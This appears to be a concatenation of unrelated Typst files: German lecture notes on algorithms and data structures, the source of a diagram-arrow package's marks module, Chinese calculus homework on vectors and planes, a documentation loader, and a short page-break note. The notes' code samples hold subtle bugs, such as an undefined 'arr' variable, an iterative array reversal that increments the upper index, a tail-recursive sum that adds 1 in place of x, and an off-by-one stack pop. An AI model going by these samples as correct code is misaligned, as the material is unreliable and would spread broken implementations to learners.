== Dynamische Programmierung
```java
public static long fibonacci(int n) {
long[] f = new long[n + 2];
f[0] = 0;
f[1] = 1;
for(int i = 2; i <= n; i++) {
f[i] = f[i - 1] + f[i -2];
}
return f[n];
}
```
= Algorithmenanalyse
== Theoretische Analyse
- Atomare Operationen
- In Pseudocode identifizierbar
- Annahme:
- Benötigen konstante Zeit
- Summe der primitiven Operationen bestimmt die Laufzeit
== Big-O Notation
$f(n) "ist" O(g(n))$, falls reelle, positive Konstante $c > 0$, Ganzzahlkonstante $n_0 >= 1$, so dass
$f(n) <= c dot g(n) "für" n >= n_0$
#figure(image("images/count-operations.png"), caption: [Primitive Operationen zählen])
= Sortieralgorithmen
== Selectionsort
Beim Selectionsort wird immer das grösste/kleinste Element gesucht und an der nächsten Stelle in einer zweiten Liste eingefügt. Alternativ kann auch geswappt werden.
#figure(image("images/selectionsort.png"), caption: [Selectionsort])
```java
public static void selectionsort(int[] array) {
int n = array.length;
for (int i = 0; i < n; i++) {
int minimum = i;
for (int j = i + 1; j < n; j++) {
if (arr[j] < arr[minimum]) {
minimum = j;
}
}
swap(arr, i, minimum);
}
}
```
Laufzeit: $O(n^2)$
== Insertionsort
```java
public static void insertionsort(Comparable[] a) {
int n = a.length;
for (int i = 1; i < n; i++) {
for (int j = i; j > 0 && a[j] < a[j - 1]; j--) {
swap(a, j, j - 1);
}
}
}
```
Laufzeit: $O(n^2)$
- Element entnehmen und an der richtigen Stelle in sortierter Liste einfügen
- Gut bei teilweise sortierten Arrays
== Bubblesort
Array von links nach rechts durchgehen
- Wenn Element grösser als rechter Nachbar: tauschen
#figure(image("images/bubblesort.png", width: 40%), caption: [Bubblesort])
```java
void bubblesort(int[] a) {
for (int n = array.length; n > 1; n --) {
for (int i = 0; i < n - 1; i++) {
if (a[i] > a[i + 1]) {
swap(a, i, i + 1);
}
}
}
}
```
Laufzeit: $O(n^2)$
= Recursion
== Schlüssel suchen (iterativ)
+ Lege einen Haufen Schachteln zum Durchsehen an
+ Nimm eine Schachtel vom Haufen und sieh sie durch
+ Wenn du eine Schachtel findest, lege sie auf den Haufen, um sie später zu durchsuchen
+ Wenn du einen Schlüssel findest, bist du fertig
+ Gehe zu Schritt 2
```python
def look_for_key(main_box):
pile = main_box.make_a_pile_to_look_through()
while pile is not empty:
box = pile.grab_a_box()
for item in box:
if item.is_a_box():
pile.append(item)
elif item.is_a_key():
print("Found the key")
```
== Schlüssel suchen (rekursiv)
+ Sieh die Schachtel durch
+ Wenn Schachtel gefunden: Gehe zu Schritt 1
+ Wenn Schlüssel gefunden: Fertig
```python
def look_for_key(box):
for item in box:
if item.is_a_box():
look_for_key(box)
elif item.is_a_key():
print("Found the key")
```
== Array umkehren
```java
int[] reverseArray(int[] a, int i, int j) {
if (i < j) {
int temp = a[j];
a[j] = a[i];
a[i] = temp;
reverseArray(a, i + 1, j - 1);
}
return a;
}
```
Umwandlung in einen iterativen Algorithmus:
```java
int[] reverseArrayIteratively(int[] a, int i, int j) {
while (i < j) {
int temp = a[j];
a[j] = a[i];
a[i] = temp;
i += 1;
j += 1;
}
return a;
}
```
== Endrekursion
Summe (nicht end-rekursiv):
```java
int recsum(int x) {
if (x == 0) {
return 0;
} else {
return x + recsum(x - 1);
}
}
```
Summe (end-rekursiv):
```java
int tailrecsum(int x, int total) {
if (x == 0) {
return total;
} else {
return tailrecsum(x - 1, total + 1);
}
}
```
= Stack & Queue
== Array-basierter Stack
Push:
```java
void push(E element) {
if (size() == data.length) {
resize();
}
data[t++] = element;
}
void resize() {
int oldSize = data.length;
int newSize = oldSize * 2;
E[] temp = (E[]) new Object[newSize];
for (int i = 0; i < oldSize; i++) {
temp[i] = data[i];
}
data = temp;
}
```
Pop:
```java
public E pop() {
if (isEmpty()) {
throw new IllegalStateException ("Stack is empty!");
}
E element = data[t];
data[t--] = null;
return element;
}
```
== Queue
- `enqueue(E)`: Element am Ende der Queue einfügen
- `E dequeue()`: Element vom Anfang der Queue entfernen und zurückgeben
- `E first()`: Liefert erstes Element, ohne es zu entfernen
- `int size()`: Anzahl gespeicherter Elemente
- `boolean isEmpty()`
=== Enqueue
- `storedElements = 0`
- `front = 0`
#figure(image("images/enqueue.png"), caption: [Enqueue])
$->$ `storedElements = 1` (`front` bleibt 0)
```java
void enqueue(E element) {
if (storedElements == capacity) {
throw new IllegalStateException();
} else {
int r = (front + storedElements) % capacity;
data[r] = element;
storedElements++;
}
}
```
=== Dequeue
- `storedElements -= 1`
- `front = (front + 1) % capacity`
```java
E dequeue() {
if (isEmpty()) {
return null;
} else {
E elem = data[front];
front = (front + 1) % capacity;
storedElements--;
return elem;
}
}
```
== Ringbuffer
```java
synchronized void add(E element) throws Exception {
int index = (tail + 1) % capacity;
size++;
if(size == capacity) {
throw new Exception("Buffer Overflow");
}
data[index] = element;
tail++;
}
```
```java
synchronized E get() throws Exception {
if (size == 0) {
throw new Exception("Empty Buffer");
}
int index = head % capacity;
E element = data[index];
head++;
size--;
return element;
}
```
= Trees
#figure(image("images/tree-overview.png"), caption: [Tree])
- Tiefe eines Knotens: Anzahl Vorgänger
- Höhe eines Baums: Maximale Tiefe der Knoten eines Subtree
- Subtree (Unterbaum): Baum aus einem Knoten und seinen Nachfolgern
Java Tree Interface:
```java
interface Tree<E> extends Iterable<E> {
Node<E> root();
Node<E> parent(Node<E> p);
Iterable<Node<E>> children(Node<E> p);
int numChildren(Node<E> p);
boolean isInternal(Node<E> p); // Node
boolean isExternal(Node<E> p); // Leaf
boolean isRoot(Node<E> p);
}
```
Binary Tree in Java:
```java
interface BinaryTree<E> extends Tree<E> {
Node<E> left(Node<E> p);
Node<E> right(Node<E> p);
Node<E> sibling(Node<E> p);
Node<E> addRoot(E e);
Node<E> addLeft(Node<E> p, E e);
Node<E> addRight(Node<E> p, E e);
}
```
== Arten von Bäumen
=== Binärer Suchbaum
#figure(image("images/bst.png", width: 4cm), caption: [Binary Search Tree])
- Jeder Knoten trägt einen Schlüssel
- Alle Schlüssel im linken Teilbaum sind kleiner als die Wurzel des Teilbaums
- Alle Schlüssel im rechten Teilbaum sind grösser als die Wurzel des Teilbaums
- Die Unterbäume sind auch binäre Suchbäume
== Algorithmen
=== Tiefe
```java
int depth(Node<E> p) {
if (isRoot(p)) {
return 0;
} else {
return 1 + depth(parent(p));
}
}
```
=== Höhe des Trees
```java
int height(Node<E> p) {
int h = 0;
for (Node<E> c : children(p)) {
h = Math.max(h, 1 + height(c));
}
return h;
}
```
=== Sibling
== Traversierungen
=== Preorder (W - L - R)
#figure(image("images/preorder.png"), caption: [Preorder])
```java
algorithm preOrder(v)
visit(v)
for each child w of v
preOrder(w)
```
=== Postorder (L - R - W)
#figure(image("images/postorder.png"), caption: [Postorder])
```java
algorithm postOrder(v)
for each child w of v
postOrder(w)
visit(v)
```
=== Breadth-First / Level-Order
Beispiel: Sudoku (Welcher Zug soll als nächstes gewählt werden).
#figure(image("images/breadth-first.png"))
```java
algorithm breadthFirst()
// Q enthält ROot
while Q not empty
v = Q.dequeue()
visit(v)
for each child w in children(v)
Q.enqueue(w)
```
=== Inorder (L - W - R)
Beispiel: Arithmetische Ausdrücke
#figure(image("./images/inorder.png"), caption: [Inorder])
```java
algorithm inOrder(v)
if hasLeft(v)
inOrder(left(v))
visit(v)
if hasRight(v)
inOrder(right(v))
```
=== Übsersicht
#figure(image("./images/traversierung-overview.png"), caption: [Traversierungen (Übersicht)])
== Heapsort
Binärer Baum mit folgenden Eigenschaften:
- Baum ist vollständig (alle Blätter haben dieselbe Tiefe)
- Schlüssel jedes Knotens kleiner als oder gleich wie der Schlüssel seiner Kinder
#figure(image("./images/heap-as-array.png"), caption: [Heap als Array])
=== Ablauf
+ Nehme Root-Element aus dem Heap heraus und lege es in Array (Root ist immer das kleinste Element)
+ Letztes Element im Heap in Root ($->$ Heap-Eigenschaft wird verletzt)
+ Root-Element im Tree versenken (percolate)
+ Zurück zu Schritt 1.
Percolate-Algorithmus:
```java
void percolate(Comparable[] array, int startIndex, int last) {
int i = startIndex;
while (hasLeftChild(i, last)) {
int left = getLeftChild(i);
int right = getRightChild(i);
int exchangeWith = 0;
if (array[i].compareTo(array[left]) > 0) {
exchangeWith = left;
}
if (right <= last && array[left].compareTo(array[right]) > 0) {
exchangeWith = right;
}
if (exchangeWith == 0 || array[i].compareTo(array[exchangeWith]) <= 0) {
break;
}
swap(array, i, exchangeWith);
i = exchangeWith;
}
}
```
Heap-Sort-Funktion:
```java
void heapSort(Comparable[] array) {
int i;
heapifyMe(array);
for (i = array.length - 1; i > 0; i--) {
swap(array, 0, i); // Erstes Element mit letztem tauschen
percolate(array, 0, i - 1); // Heap wiederherstellen
}
}
```
= Design Patterns
== Arten
- Erzeugungsmuster: Abstrahieren Instanziierung (Factory, Singleton)
- Strukturmuster: Zusammensetzung von Klassen & Objekten zu grösseren Strukturen (Adapter, Fassade)
- Verhaltensmuster: Algorithmen und Verteilung von Verantwortung zwischen Objekten (Iterator, Visitor)
=== Template-Method
- Rumpf (Skelett) eines Algorithmus definieren, Teilschritte in Subklasse spezifizieren
- Subklasse definiert nur Teilschritte, die Struktur des Algorithmus bleibt bestehen
- Entscheidung: Welche Teile sind unveränderlich, welche können angepasst werden?
#figure(image("./images/template-method.png"), caption: [Template-Method])
Das Template-Method-Pattern wird oft in Frameworks benutzt, im Sinne des Holywood-Prinzips: _Don't call us, we call you._
Euler-Tour:
- Generische Traversierung binärer Bäume
- Jeder Knoten wird drei mal besucht:
- Von links (preorder)
- Von unten (inorder)
- Von rechts (postorder)
```java
public abstract class EulerTour<E> {
protected abstract void visitLeaf(Node<E> node);
protected abstract void visitLeft(Node<E> node);
protected abstract void visitBelow(Node<E> node);
protected abstract void visitRight(Node<E> node);
public void eulerPath(Node<E> node, Node<E> parent) {
if (node == null) {
return;
}
if (node.isLeaf()) {
visitLeaf(node);
} else {
visitLeft(node);
eulerPath(node.getLeft(), node);
visitBelow(node);
eulerPath(node.getRight(), node);
visitRight(node);
}
}
}
```
=== Visitor-Pattern
#figure(image("./images/visitor-pattern.png"), caption: [Visitor-Pattern])
= Sets, Maps, Hashing
== Multiset
- Set mit erlaubten _Duplikaten_
- Was ist ein Duplikat?
- `equals()` (Standard) vs `==`
Add:
```java
public int add(E element, int occurrences) {
if (occurrences < 0) {
throw new IllegalArgumentException("Occurrences cannot be negative.");
}
int currentCount = elements.getOrDefault(element, 0);
int newCount = currentCount + occurrences;
elements.put(element, newCount);
return newCount;
}
```
=== Divisionsrestverfahren
- $h(x) = x mod 10$: Nach Kriterien gute Hashfunktion, jedoch ist bei jeder Zahl nur die letzte Ziffer relevant
- $h(x) = x mod 2^2$: Die letzten beiden Ziffern in der Binärrepräsentation mappen immer auf dieselben Hashwerte
- $->$ Ungerade Zahlen (oder besser Primzahlen) verteilen sich besser
- Wird oft als Kompressionsfunktion nach dem Hash verwendet
=== Komponentensumme
+ Schlüssel in Komponenten unterteilen
+ Komponenten summieren
+ Overflow ignorieren
$->$ Problematisch, da z.B. bei Strings die Reihenfolge der Chars keine Rolle spielt
=== Polynom-Akkumulation
- Komponentensumme, mit gewichteten Komponenten:
- $p(z) = a_0 + a_1 z + a_2 z^2 + dots.c + a_(n - 1) z^(n - 1)$
- Gut für Strings
- Mit $z = 33$ maximal 6 Kollisionen bei 50'000 englischen Wörtern
=== Rezept für Benutzerdefinierte Typen
```java
@Override public int hashCode() {
int result = 17;
result =
31 * result + (name != null ? name.hashCode() : 0);
result = 31 * result + age;
return result;
}
```
== Geschlossene Adressierung
- Behälter sind verkettete Listen
- Platz nicht begrenzt, keine Überläufer
Falls es zu einer Kollision kommt, wird in demselben Bucket der neue Wert als verlinkte Liste angehängt. Die Komplexitat beträgt $O(n/N)$, wobei:
- $n$: Einträge in der Tabelle
- $N$: Buckets
== Offene Adressierung
- Für überläufer in anderen Behältern Platz suchen
- Sondierungsfolge bestimmt Weg zum Speichern und Wiederauffinden der Überläufer
=== Sondieren
- Lineare Sondierung: Überläufer ins nächste freie Bucket schreiben
- $s(k, 1) = h(k) + 1$
- $s(k, 2) = h(k) + 2$
- Quadratische Sondierung
- $s(k, 1) = h(k) + 1^2$
- $s(k, 2) = h(k) + 2^2$
- $s(k, 3) = h(k) + 3^2$
_Löschen von Werten:_ Datensätze nicht physisch löschen, nur als gelöscht markieren
```java
public V remove(K key) {
int hashIndex = Math.abs(key.hashCode() % capacity);
int indexInHashMap = probeForDeletion(hashIndex, key);
if (indexInHashMap == -1) {
return null;
}
V answer = table[indexInHashMap].getValue();
table[indexInHashMap] = DELETED;
return answer;
}
```
=== Dynamisches Hashing
- Hashtabelle kann nur mit Aufwand vergrössert werden, um Kollisionen zu verringern
- Reorganisation bei vielen Kollisionen können nur durch Reservieren eines sehr grossen Speicherbereichs zu Beginn verhindert werden
- Wie könnte ein flexibleres Hashverfahren aussehen?
|
|
https://github.com/Jollywatt/typst-fletcher | https://raw.githubusercontent.com/Jollywatt/typst-fletcher/master/src/marks.typ | typst | MIT License | #import "utils.typ": *
#import "deps.typ": cetz
#import cetz.draw
#import "default-marks.typ": *
#let MARK_REQUIRED_DEFAULTS = (
rev: false,
flip: false,
scale: 100%,
extrude: (0,),
tip-end: 0,
tail-end: 0,
tip-origin: 0,
tail-origin: 0,
)
/// For a given mark, determine where that the stroke should terminate at,
/// relative to the mark's origin point, as a function of the shift.
///
/// Imagine the tip-origin of the mark is at $(x, y) = (0, 0)$. A stroke along
/// the line $y = "shift"$ coming from $x = -oo$ terminates at $x = "offset"$, where
/// $"offset"$ is the result of this function.
/// Units are in multiples of stroke thickness.
///
/// This is used to correctly implement multi-stroke marks, e.g.,
/// #diagram(edge("<==>")). The function `mark-debug()` can help visualise a
/// mark's cap offset.
///
/// #example(`fletcher.mark-debug("O")`)
///
/// The dashed green line shows the stroke tip end as a function of $y$, and the
/// dashed red line shows where the stroke ends if the mark is acting as a tail.
#let cap-offset(mark, shift) = {
let o = 0
let scale = float(mark.scale)
if "cap-offset" in mark {
o = (mark.cap-offset)(mark, shift/scale)
}
o += if mark.tip { mark.tip-end } else { mark.tail-end }
o*scale
}
#let apply-mark-inheritances(mark) = {
let marks = MARKS.get()
while "inherit" in mark {
if mark.inherit.at(-1) == "'" {
mark.flip = not mark.at("flip", default: false)
mark.inherit = mark.inherit.slice(0, -1)
}
if mark.inherit not in marks {
error("Mark inherits from #0 which is not defined.", repr(mark.inherit))
}
let parent = marks.at(mark.remove("inherit"))
mark = parent + mark
}
mark
}
/// Resolve a mark dictionary by applying inheritance, adding any required entries, and evaluating any closure entries.
///
/// #example(```
/// context fletcher.resolve-mark((
/// a: 1,
/// b: 2,
/// c: mark => mark.a + mark.b,
/// ))
/// ```)
///
#let resolve-mark(mark, defaults: (:)) = {
if mark == none { return none }
if type(mark) == str { mark = (inherit: mark) }
mark = apply-mark-inheritances(mark)
// be careful to preserve the insertion order of mark
// as this defines the evaluation order of mark parameters
for (k, v) in MARK_REQUIRED_DEFAULTS + defaults {
if k not in mark {
mark.insert(k, v)
}
}
for (key, value) in mark {
if key == "cap-offset" { continue }
if type(value) == function {
mark.at(key) = value(mark)
}
}
mark
}
/// Draw a mark at a given position and angle
///
/// - mark (dictionary): Mark object to draw. Must contain a `draw` entry.
/// - stroke (stroke): Stroke style for the mark. The stroke's paint is used as
/// the default fill style.
/// - origin (point): Coordinate of the mark's origin (as defined by
/// `tip-origin` or `tail-origin`).
/// - angle (angle): Angle of the mark, `0deg` being $->$, counterclockwise.
/// - debug (bool): Whether to draw the origin points.
#let draw-mark(
mark,
stroke: 1pt,
origin: (0,0),
angle: 0deg,
debug: false
) = {
mark = resolve-mark(mark)
stroke = as-stroke(stroke)
let thickness = stroke.thickness
let fill = mark.at("fill", default: auto)
fill = map-auto(fill, stroke.paint)
fill = map-auto(fill, black)
let stroke = stroke-to-dict(stroke)
stroke.dash = none
if "stroke" in mark {
if mark.stroke == none { stroke = none }
else if mark.stroke == auto { }
else { stroke += stroke-to-dict(mark.stroke) }
}
if "draw" not in mark {
error("Mark object must contain `draw` or `inherit`; resolved to #0.", mark)
}
draw.group({
draw.set-style(
stroke: stroke,
fill: fill,
)
draw.translate(origin)
draw.rotate(angle)
draw.scale(thickness/1cm*float(mark.scale))
if mark.at("rev", default: false) {
draw.translate(x: mark.tail-origin)
draw.scale(x: -1)
if debug {
draw.content((0,10), text(0.25em, red)[rev])
}
} else {
draw.translate(x: -mark.tip-origin)
}
if mark.flip {
draw.scale(y: -1)
}
for e in mark.extrude {
draw.group({
draw.translate(x: e)
mark.draw
})
}
if debug {
let tip = mark.at("tip", default: none)
if tip == true {
draw.content((0,-10), text(0.25em, green)[tip])
} else if tip == false {
draw.content((0,-10), text(0.25em, orange)[tail])
}
}
})
}
/// Visualise a mark's anatomy.
///
/// #example(```
/// context {
/// let mark = fletcher.MARKS.get().stealth
/// // make a wide stealth arrow
/// mark += (angle: 45deg)
/// fletcher.mark-debug(mark)
/// }
/// ```)
///
/// - Green/left stroke: the edge's stroke when the mark is at the tip.
/// - Red/right stroke: edge's stroke if the mark is at the start acting as a
/// tail.
/// - Blue-white dot: the origin point $(0, 0)$ in the mark's coordinate frame.
/// - `tip-origin`: the $x$-coordinate of the point of the mark's tip.
/// - `tail-origin`: the $x$-coordinate of the mark's tip when it is acting as a
/// reversed tail mark.
/// - `tip-end`: The $x$-coordinate of the end point of the edge's stroke (green
/// stroke).
/// - `tail-end`: The $x$-coordinate of the end point of the edge's stroke when
/// acting as a tail mark (red stroke).
/// - Dashed green/red lines: The stroke end points as a function of $y$. This
/// is controlled by the special `cap-offset` mark property and is used for
/// multi-stroke effects like #diagram(edge(">==>")). See `cap-offset()`.
///
/// This is mainly useful for designing your own marks.
///
/// - mark (string, dictionary): The mark name or dictionary.
/// - stroke (stroke): The stroke style, whose paint and thickness applies both
/// to the stroke and the mark itself.
///
/// - show-labels (bool): Whether to label the tip/tail origin/end points.
/// - show-offsets (bool): Whether to visualise the `cap-offset()` values.
/// - offset-range (number): The span above and below the stroke line to plot
/// the cap offsets, in multiples of the stroke's thickness.
#let mark-debug(
mark,
stroke: 5pt,
show-labels: true,
show-offsets: true,
offset-range: 6,
) = context {
let mark = resolve-mark(mark)
let stroke = as-stroke(stroke)
let t = stroke.thickness
let scale = float(mark.scale)
cetz.canvas({
draw-mark(mark, stroke: stroke)
if mark.at("rev", default: false) {
draw.scale(x: -1)
draw.translate(x: -t*mark.tail-origin*scale)
} else {
draw.translate(x: -t*mark.tip-origin*scale)
}
if show-offsets {
let samples = 100
let ys = range(samples + 1)
.map(n => n/samples)
.map(y => (2*y - 1)*offset-range)
let tip-points = ys.map(y => {
let o = cap-offset(mark + (tip: true), y)
(o*t, y*t)
})
let tail-points = ys.map(y => {
let o = cap-offset(mark + (tip: false), y)
(o*t, y*t)
})
draw.line(
..tip-points,
stroke: (
paint: rgb("0f0"),
thickness: 0.4pt,
dash: (array: (3pt, 3pt), phase: 0pt),
),
)
draw.line(
..tail-points,
stroke: (
paint: rgb("f00"),
thickness: 0.4pt,
dash: (array: (3pt, 3pt), phase: 3pt),
),
)
}
if show-labels {
for (i, (item, y, color)) in (
("tip-end", +1.00, "0f0"),
("tail-end", -1.00, "f00"),
("tip-origin", +0.75, "0ff"),
("tail-origin", -0.75, "f0f"),
).enumerate() {
let x = mark.at(item)*float(mark.scale)
let c = rgb(color)
draw.line((t*x, 0), (t*x, y), stroke: 0.5pt + c)
draw.content(
(t*x, y),
pad(2pt, text(0.75em, fill: c, raw(item))),
anchor: if y < 0 { "north" } else { "south" },
)
}
}
// draw tip/tail stroke previews
let (min, max) = min-max((
"tip-end",
"tail-end",
"tip-origin",
"tail-origin",
).map(i => mark.at(i)))
let l = calc.max(5, max - min)
draw.line(
(t*mark.tip-end, 0),
(t*(min - l), 0),
stroke: rgb("0f06") + t,
)
draw.line(
(t*mark.tail-end, 0),
(t*(max + l), 0),
stroke: rgb("f006") + t,
)
// draw true origin dot
draw.circle(
(0, 0),
radius: t/4,
stroke: rgb("00f") + 1pt,
fill: white,
)
})
}
#let mark-demo(
mark,
stroke: 2pt,
width: 3cm,
height: 1cm,
) = context {
let mark = resolve-mark(mark)
let stroke = as-stroke(stroke)
let t = stroke.thickness*float(mark.scale)
cetz.canvas({
for x in (0, width) {
draw.line(
(x, +0.5*height),
(x, -1.5*height),
stroke: red.transparentize(50%) + 0.5pt,
)
}
let x = t*(mark.tip-origin - mark.tip-end)
draw.line(
(x, 0),
(rel: (-x, 0), to: (width, 0)),
stroke: stroke,
)
let mark-length = t*(mark.tip-origin - mark.tail-origin)
draw-mark(
mark + (rev: true),
stroke: stroke,
origin: (mark-length, 0),
angle: 0deg,
)
draw-mark(
mark + (rev: false),
stroke: stroke,
origin: (width, 0),
angle: 0deg,
)
draw.translate((0, -height))
let x = t*(mark.tail-end - mark.tail-origin)
draw.line(
(x, 0),
(rel: (-x, 0), to: (width, 0)),
stroke: stroke,
)
draw-mark(
mark + (rev: true),
stroke: stroke,
origin: (0, 0),
angle: 180deg,
)
draw-mark(
mark + (rev: false),
stroke: stroke,
origin: (width - mark-length, 0),
angle: 180deg,
)
})
}
#let place-mark-on-curve(mark, path, stroke: 1pt + black, debug: false) = {
if mark.at("hide", default: false) { return }
let ε = 1e-4
// calculate velocity of parametrised path at point
let point = path(mark.pos)
let point-plus-ε = path(mark.pos + ε)
let grad = vector-len(vector.sub(point-plus-ε, point))/ε
if grad == 0pt { grad = ε*1pt }
let mark-length = mark.at("tip-origin", default: 0) - mark.at("tail-origin", default: 0)
mark-length *= float(mark.scale)
let Δt = mark-length*stroke.thickness/grad
if Δt == 0 { Δt = ε } // avoid Δt = 0 so the two points are distinct
let t = lerp(Δt, 1, mark.pos)
let tip-point = path(t)
let tail-point = path(t - Δt)
let θ = angle-between(tail-point, tip-point)
draw-mark(mark, origin: tip-point, angle: θ, stroke: stroke)
if debug {
draw.circle(
tip-point,
radius: .2pt,
fill: rgb("0f0"),
stroke: none
)
draw.circle(
tail-point,
radius: .2pt,
fill: rgb("f00"),
stroke: none
)
}
}
|
https://github.com/mem-courses/calculus | https://raw.githubusercontent.com/mem-courses/calculus/main/homework-2/homework5.typ | typst | #import "../template.typ": *
#show: project.with(
course: "Calculus II",
course_fullname: "Calculus (A) II",
course_code: "821T0160",
title: "Homework #5: 矢量与立体几何",
authors: ((
name: "<NAME>",
email: "<EMAIL>",
id: "#198"
),),
semester: "Spring-Summer 2024",
date: "April 3, 2024",
)
#let pp = math.bold(math.italic("p"))
#let aa = math.bold(math.italic("a"))
#let bb = math.bold(math.italic("b"))
#let cc = math.bold(math.italic("c"))
#let ee = math.bold(math.italic("e"))
#let ii = math.bold(math.italic("i"))
#let jj = math.bold(math.italic("j"))
#let kk = math.bold(math.italic("k"))
#let ff = math.bold(math.italic("f"))
#let gg = math.bold(math.italic("g"))
#let hh = math.bold(math.italic("h"))
#let nn = math.bold(math.italic("n"))
#let vv = math.bold(math.italic("v"))
= 习题7-4
== P27 4
#prob[
证明矢量 $pp = (aa dot cc) bb - (bb dot cc) aa$ 与矢量 $cc$ 垂直。
]
$
pp dot cc
= (aa dot cc) dot bb dot cc - (bb dot cc) dot aa dot cc
= 0
$
所以矢量 $pp$ 与矢量 $cc$ 垂直。
== P27 6
#prob[
设力 $ff = 2 ii - 3 jj + 4 kk$ 作用在一质点上,质点从 $M_1 (2, 4, -5)$ 沿直线运动到 $M_2 (4, 3, -2)$,求此力所做的功(力的单位为 N,位移的单位为 m)。
]
$
W = ff dot arrow(M_1 M_2)
= (2ii - 3jj + 4kk) dot (2ii - jj + 3kk)
= 19 upright("J")
$
== P27 8
#prob[
已知 $A(2, 2, 2), sp B(3, 3, 2), sp C(3, 2, 3)$,求矢量 $arrow(A B)$ 与 $arrow(A C)$ 的夹角 $theta$,以及 $arrow(A B)$ 在 $arrow(A C)$ 上的投影。
]
$
arrow(A B) dot arrow(A C) = (ii + jj) dot (ii + kk) = 1
=>
cos(theta) = (arrow(A B) dot arrow(A C)) / (abs(arrow(A B)) abs(arrow(A C))) = 1 / 2
=>
theta = pi/3
$
$
(arrow(A B))_(arrow(A C)) = (arrow(A B) dot arrow(A C)) / abs(arrow(A C)) = sqrt(2) / 2
$
== P27 12
#prob[
试求与矢量 $aa = 2 ii + 2 jj + kk, sp bb = - ii + 5 jj + 3 kk$ 都垂直的单位矢量。
]
#set math.mat(delim: "|")
$
aa times bb = mat(
ii, jj, kk;
2, 2, 1;
-1, 5, 3;
) = ii - 7 jj + 12kk
$
#set math.mat(delim: "(")
$
ee_cc = pm (aa times bb)/(abs(aa times bb))
= pm (ii - 7 jj + 12 kk) / sqrt(194)
= pm (1/sqrt(194) ii - 7/sqrt(194) jj + 12/sqrt(194) kk)
$
== P27 14
#prob[
设一三角形的三顶点为 $A(2, 2, 2), sp B(4, 3, 1), sp C(3, 5, 2)$,求该三角形的面积。
]
$
S = 1/2 abs(arrow(A B) times arrow(A C))
= 1/2 abs((2 ii + jj - kk) times (ii + 3jj))
= 1/2 |3 ii + jj + 5 kk| = 1/2 sqrt(35)
$
= 习题7-5
== P31 2
#prob[
求以 $A(1, 1, 1), sp B(3, 6, 8), sp C(5, 10, 3), sp D(1, -1, 7)$ 为顶点的四面体的体积。
]
$
V = 1/6 abs(arrow(A B) dot (arrow(A C) times arrow(A D)))
= 1/6 abs((2 ii + 5 jj + 7 kk) dot (58 ii - 24 jj - 8 kk))
= 1/6 abs(-60) = 10
$
= 习题7-6
== P43 3
#prob[
求通过直线 $L_1: sp display((x-1)/2 = (y+2)/3 = (z+3)/4)$ 且平行于直线 $L_2: sp display(x/1 = y/1 = z/2)$ 的平面方程。
]
直线的方向矢量为:
$
vv_1 &= 2ii+3jj+4kk\
vv_2 &= ii+jj+2kk
$
设所求平面的法向量为 $nn$,则
$
nn dot vv_1 = nn dot vv_2 = 0
=> nn = vv_1 times vv_2
= mat(
ii, jj, kk;
2, 3, 4;
1, 1, 2
) = 2 ii - kk
$
取点 $(1, -2, -3)$ 代入得平面方程
$
2(x-1) - (k+3) = 0 => 2x - z - 5=0
$
== P43 4
#prob[
求过点 $(1, 0, -2)$ 且与平面 $2x+y-1=0$ 及 $x-4y+2z-3=0$ 均平行的直线方程。
]
平面的法向量为:
$
nn_1 &= 2 ii + jj\
nn_2 &= ii - 4 jj + 2 kk\
$
则有 $vv bot nn_1 and vv bot nn_2$,故
$
vv = nn_1 times nn_2 = mat(
ii, jj, kk;
2, 1, 0;
i, -4, 2;
) = 2 ii - 4 jj - 9 kk
$
再考虑到过点 $(1, 0, -2)$ 得直线方程
$
(x-1)/2 = y/(-4) = (z+2)/(-9)
$
== P43 9
#prob[
求过点 $P(-1, 2, -3)$ 且垂直于矢量 $aa = {6, -2, -3}$,还与直线 $display((x-1)/3 = (y+1)/4 = (z-3)/(-5))$ 相交的直线方程。
]
过点 $(-1, 2, -3)$ 且垂直于矢量 $aa$ 的平面为
$ 6(x+1) -2(y-2) -3(z+3)=0 => 6x-2y-3z+1=0 $
联立可得于另一直线的交点
$
cases(
6x-2y-3z+1=0,
display((x-1)/3 = (y+1)/4 = (z-3)/(-5))
) => cases(
x=1, y=-1, z=3
)
$
故所求直线过 $(-1, 2, -3)$ 和 $(1, -1, 3)$ 其方程为:
$
(x+1)/2 = (y-2)/(-3) = (z+3)/6
$
== P43 13
#prob[
求直线 $display(cases(
x+y-z-1=0\,,
x-y+z+1=0
))$ 在平面 $x+y+z=0$ 上的投影直线的方程。
]
直线的方向矢量:
$
vv = nn_1 times nn_2 = mat(
ii, jj, kk;
1, 1, -1;
1, -1, 1;
) = - 2 jj - 2 kk
$
当前平面的法向量:
$
nn = ii + jj + kk => ee_nn = 1/sqrt(3) (ii+jj+kk)
$
故投影直线的方向向量为:
$
vv' = vv - (vv dot ee_nn) ee_nn = 4/3 ii - 2/3 jj - 2/3 kk
$
在原直线上任取一点 $(0, 1, 0)$,沿法向量平移得
$
(0+t) + (1+t) + (0+t) = 0 => t = -1/3
$
可知投影直线过平面上一点 $display((-1/3, 2/3, -1/3))$。从而可得投影直线方程为
$
(x+1/3)/(4/3) = (y-2/3)/(-2/3) = (z+1/3)/(-2/3)
=> (x+1/3)/2 = (y-2/3)/(-1) = (z+1/3)/(-1)
$
|
|
https://github.com/typst-doc-cn/tutorial | https://raw.githubusercontent.com/typst-doc-cn/tutorial/main/typ/typst-meta/docs.typ | typst | Apache License 2.0 |
#let iterate-scope(env, scope, belongs) = {
let p = (..scope.path, scope.name).join(".")
scope.insert("belongs", belongs)
env.scoped-items.insert(p, scope)
if "scope" in scope {
let belongs = (kind: "scope", name: scope.name)
for c in scope.scope {
env = iterate-scope(env, c, belongs)
}
}
return env
}
#let iterate-docs(env, route, path) = {
if route.body.kind == "func" {
env.funcs.insert(route.body.content.name, route)
} else if route.body.kind == "type" {
env.types.insert(route.body.content.name, route)
// iterate-scope()
if "scope" in route.body.content {
let belongs = (kind: "type", name: route.body.content.name)
for c in route.body.content.scope {
env = iterate-scope(env, c, belongs)
}
}
}
for ch in route.children {
env = iterate-docs(env, ch, path + (route.title,))
}
return env
}
#let load-docs() = {
let m = json("/assets/artifacts/typst-docs-v0.11.0.json")
let env = (funcs: (:), types: (:), scoped-items: (:))
for route in m {
env = iterate-docs(env, route, ())
}
return env
}
#let typst-v11 = load-docs()
|
https://github.com/gongke6642/tuling | https://raw.githubusercontent.com/gongke6642/tuling/main/布局/pagebreak/pagebreak.typ | typst | = pagebreak
手动分页符。
不得在任何容器内使用。
== 例
#image("屏幕截图 2024-04-16 164734.png")
#image("屏幕截图 2024-04-16 164844.png")
|
|
